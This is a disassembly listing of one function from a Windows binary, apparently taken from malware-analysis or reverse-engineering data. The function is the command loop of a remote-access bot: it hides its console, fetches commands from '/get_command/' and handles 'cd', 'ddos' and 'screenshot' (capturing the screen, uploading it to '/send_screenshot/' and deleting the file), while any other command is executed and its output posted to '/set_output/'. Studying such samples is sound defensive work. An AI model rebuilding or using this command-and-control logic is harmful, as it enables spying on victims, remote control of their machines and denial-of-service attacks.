Function at 0x1400049b6
Capabilities:
Delete file
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x470], ecx
mov qword [rbp + 0x478], rdx
call fcn.1400102c7
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rbp + 0xec], 0x1e
lea rdx, [rbp + 0xec]
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.1400b8240
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.140096170
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.140003eb9
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.140003e15
lea rdx, [rbp + 0xf0]
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.140003c5b
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400c0880
test bl, bl
je 0x140004b1f
lea rax, [rbp - 0x30]
mov edx, 0x12
mov rcx, rax
call fcn.140003f60
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x30]
mov r8, rdx
lea rdx, [0x1401230c0]
mov rcx, rax
call fcn.1400de7b0
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.1400bfb00
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.140003e15
lea rdx, [rbp + 0x130]
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.140003cb0
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.1400c0880
mov ebx, 1
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400c0880
mov eax, ebx
jmp 0x1400054b3
mov dword [rbp + 0x17c], 0x3c
lea rdx, [rbp + 0x17c]
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.1400b8240
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.140096170
mov r8d, 0
lea rax, [0x1401230a0]
mov rdx, rax
lea rax, [0x1401230b8]
mov rcx, rax
call sub.gdiplus.dll_GdiplusStartup
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400bfd70
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400bfd70
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400bfd70
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400057c6
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400dbce0
mov qword [rbp + 0x180], rax
lea rdx, [rbp + 0x180]
lea rax, [rbp + 0x58]
mov r8, rdx
lea rdx, [0x1400054c7]
mov rcx, rax
call fcn.1400bb080
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400dbce0
mov qword [rbp + 0x188], rax
lea rdx, [rbp + 0x188]
lea rax, [rbp + 0x50]
mov r8, rdx
lea rdx, [0x14000565b]
mov rcx, rax
call fcn.1400bb080
lea rax, [rbp + 0x1bd]
movzx r8d, byte [rbp - 0x47]
lea rdx, str._get_command_
mov rcx, rax
call fcn.1400295f0
lea rax, [rbp + 0x1bd]
mov rcx, rax
call fcn.140029550
mov rdx, rax
lea rax, [rbp + 0x190]
lea rcx, [rbp + 0x60]
mov r8, rcx
mov rcx, rax
call fcn.1400de5f0
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x190]
mov r9d, 0x3c
mov r8, rdx
mov rdx, rax
lea rax, [0x1401230e0]
mov rcx, rax
call fcn.140001cdd
cmp eax, 0xe8
sete bl
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.1400c0880
test bl, bl
je 0x140004c06
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.140043dd0
xor eax, 1
test al, al
je 0x140004c06
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.140002f52
lea rax, [rbp + 0x1cc]
movzx r8d, byte [rbp - 0x46]
lea rdx, [0x1400e93ce]
mov rcx, rax
call fcn.14002e260
lea rax, [rbp + 0x1cc]
mov rcx, rax
call fcn.14002e1c0
mov rbx, rax
lea rax, [rbp + 0x30]
mov edx, 0
mov rcx, rax
call fcn.1400bb700
mov rdx, rbx
mov rcx, rax
call fcn.1400ddba0
test al, al
je 0x140004da9
lea rax, [rbp + 0x30]
mov edx, 1
mov rcx, rax
call fcn.1400bb700
mov rcx, rax
call fcn.140043db0
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
mov dword [rbp + 0x41c], eax
cmp dword [rbp + 0x41c], 0
jne 0x140004d6b
lea rax, [rbp + 0x1d0]
movzx r8d, byte [rbp - 0x45]
lea rdx, str.___Changed_dir_n
mov rcx, rax
call fcn.14002a870
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.14002a7d0
jmp 0x140004d95
lea rax, [rbp + 0x1f0]
movzx r8d, byte [rbp - 0x44]
lea rdx, str.____Failed_to_cd_n
mov rcx, rax
call fcn.14002ae30
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.14002ad90
lea rcx, [rbp + 0xa0]
mov rdx, rax
call fcn.1400c09a0
jmp 0x14000508f
lea rax, [rbp + 0x20e]
movzx r8d, byte [rbp - 0x43]
lea rdx, str.ddos
mov rcx, rax
call fcn.140030320
lea rax, [rbp + 0x20e]
mov rcx, rax
call fcn.140030280
mov rbx, rax
lea rax, [rbp + 0x30]
mov edx, 0
mov rcx, rax
call fcn.1400bb700
mov rdx, rbx
mov rcx, rax
call fcn.1400ddba0
test al, al
je 0x140004e66
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.140003084
lea rax, [rbp + 0x10]
mov edx, 2
mov rcx, rax
call fcn.1400bb700
mov rcx, rax
call fcn.140043db0
mov rcx, rax
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov ebx, eax
lea rax, [rbp + 0x10]
mov edx, 1
mov rcx, rax
call fcn.1400bb700
mov rcx, rax
call fcn.140043db0
mov edx, ebx
mov rcx, rax
call fcn.14000616a
nop
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.1400bb6a0
mov ebx, 0
jmp 0x140005256
lea rax, [rbp + 0x214]
movzx r8d, byte [rbp - 0x42]
lea rdx, str.screenshot
mov rcx, rax
call fcn.140028cd0
lea rax, [rbp + 0x214]
mov rcx, rax
call fcn.140028c30
mov rbx, rax
lea rax, [rbp + 0x30]
mov edx, 0
mov rcx, rax
call fcn.1400bb700
mov rdx, rbx
mov rcx, rax
call fcn.1400ddba0
test al, al
je 0x140005054
lea rax, [rbp + 0x220]
mov edx, 0x20
mov rcx, rax
call fcn.140003603
lea rax, [rbp + 0x289]
mov qword [rbp + 0x410], rax
nop
nop
lea rdx, [rbp + 0x289]
lea rax, [rbp + 0x260]
mov r8, rdx
lea rdx, [0x1400e9404]
mov rcx, rax
call fcn.1400c0030
lea rax, [rbp + 0x28a]
movzx r8d, byte [rbp - 0x41]
lea rdx, str.temp
mov rcx, rax
call fcn.140030470
lea rax, [rbp + 0x28a]
mov rcx, rax
call fcn.1400303d0
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rdx, rax
lea rax, [rbp + 0x240]
lea rcx, [rbp + 0x260]
mov r8, rcx
mov rcx, rax
call fcn.1400de5a0
lea rax, [rbp - 0x10]
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x240]
mov r8, rcx
mov rcx, rax
call fcn.1400de4b0
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp + 0x289]
mov rcx, rax
call fcn.1400afb10
nop
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.14000330c
lea rax, [rbp + 0x2b0]
mov r8d, r13d
lea rdx, str._send_screenshot_
mov rcx, rax
call fcn.14002b130
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.14002b090
mov rdx, rax
lea rax, [rbp + 0x290]
lea rcx, [rbp + 0x60]
mov r8, rcx
mov rcx, rax
call fcn.1400de5f0
lea rcx, [rbp + 0x80]
lea rdx, [rbp - 0x10]
lea rax, [rbp + 0x290]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rax, [0x1401230e0]
mov rcx, rax
call fcn.140002579
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.140043db0
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
nop
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400c0880
mov ebx, 0
jmp 0x140005256
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.14000384e
lea rdx, [rbp + 0x2d0]
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400c08c0
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.1400c0880
lea rdi, [rbp + 0x330]
mov r12d, 1
mov rbx, rdi
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400040f2
mov qword [rbp + 0x3b8], rax
lea rax, [rbp + 0x3b8]
mov r8, rax
lea rax, str.output
mov rdx, rax
mov rcx, rbx
call fcn.1400b7280
lea rbx, [rdi + 0x40]
sub r12, 1
mov edx, 0
mov ecx, 0
call sub.api_ms_win_crt_stdio_l1_1_0.dll__getcwd
mov qword [rbp + 0x3c0], rax
lea rax, [rbp + 0x3c0]
mov r8, rax
lea rax, [0x1400e9424]
mov rdx, rax
mov rcx, rbx
call fcn.1400b71a0
mov r12d, 1
lea rax, [rbp + 0x330]
mov r14, rax
mov r15d, 2
lea rax, [rbp + 0x3cf]
mov qword [rbp + 0x408], rax
nop
nop
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r15
lea rdx, [rbp + 0x3cd]
lea r10, [rbp - 0x40]
lea rcx, [rbp + 0x2f0]
lea rax, [rbp + 0x3cf]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3ce]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0
mov rdx, r10
call fcn.1400aa5b0
lea rcx, [rbp - 0x10]
lea rax, [rbp + 0x2f0]
mov rdx, rax
call fcn.140004792
lea rax, [rbp + 0x2f0]
mov rcx, rax
call fcn.1400aa620
lea rax, [rbp + 0x3cf]
mov rcx, rax
call fcn.1400afa70
nop
lea rbx, [rbp + 0x330]
sub rbx, 0xffffffffffffff80
lea rax, [rbp + 0x330]
cmp rbx, rax
je 0x1400051cb
sub rbx, 0x40
mov rcx, rbx
call fcn.1400b73c0
jmp 0x1400051b1
lea rax, [rbp + 0x3fa]
mov r8d, esi
lea rdx, str._set_output_
mov rcx, rax
call fcn.140029130
lea rax, [rbp + 0x3fa]
mov rcx, rax
call fcn.140029090
mov rdx, rax
lea rax, [rbp + 0x3d0]
lea rcx, [rbp + 0x60]
mov r8, rcx
mov rcx, rax
call fcn.1400de5f0
lea rcx, [rbp + 0x80]
lea rdx, [rbp - 0x10]
lea rax, [rbp + 0x3d0]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rax, [0x1401230e0]
mov rcx, rax
call fcn.14000211c
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400c0880
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400c0880
mov ebx, 1
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400bb6a0
cmp ebx, 1
jmp 0x140004c06
add rsp, 0x4a8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret